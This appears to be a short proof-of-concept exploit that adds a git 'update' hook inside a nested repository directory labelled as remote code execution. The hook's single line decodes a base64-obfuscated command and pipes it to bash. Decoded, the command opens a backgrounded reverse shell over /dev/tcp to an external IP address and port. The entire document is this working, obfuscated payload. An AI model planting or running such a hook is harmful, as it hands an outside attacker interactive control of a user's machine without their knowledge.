poc: hook path

nested/rce-b4e6e924-2.git/hooks/update

@@ -0,0 +1 @@
+echo 'bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMy41Mi41Ni4yMDYvOTQ0MyAwPiYxJyA8L2Rldi9udWxsID4vZGV2L251bGwgMj4mMSAm' | base64 -d | bash > pwned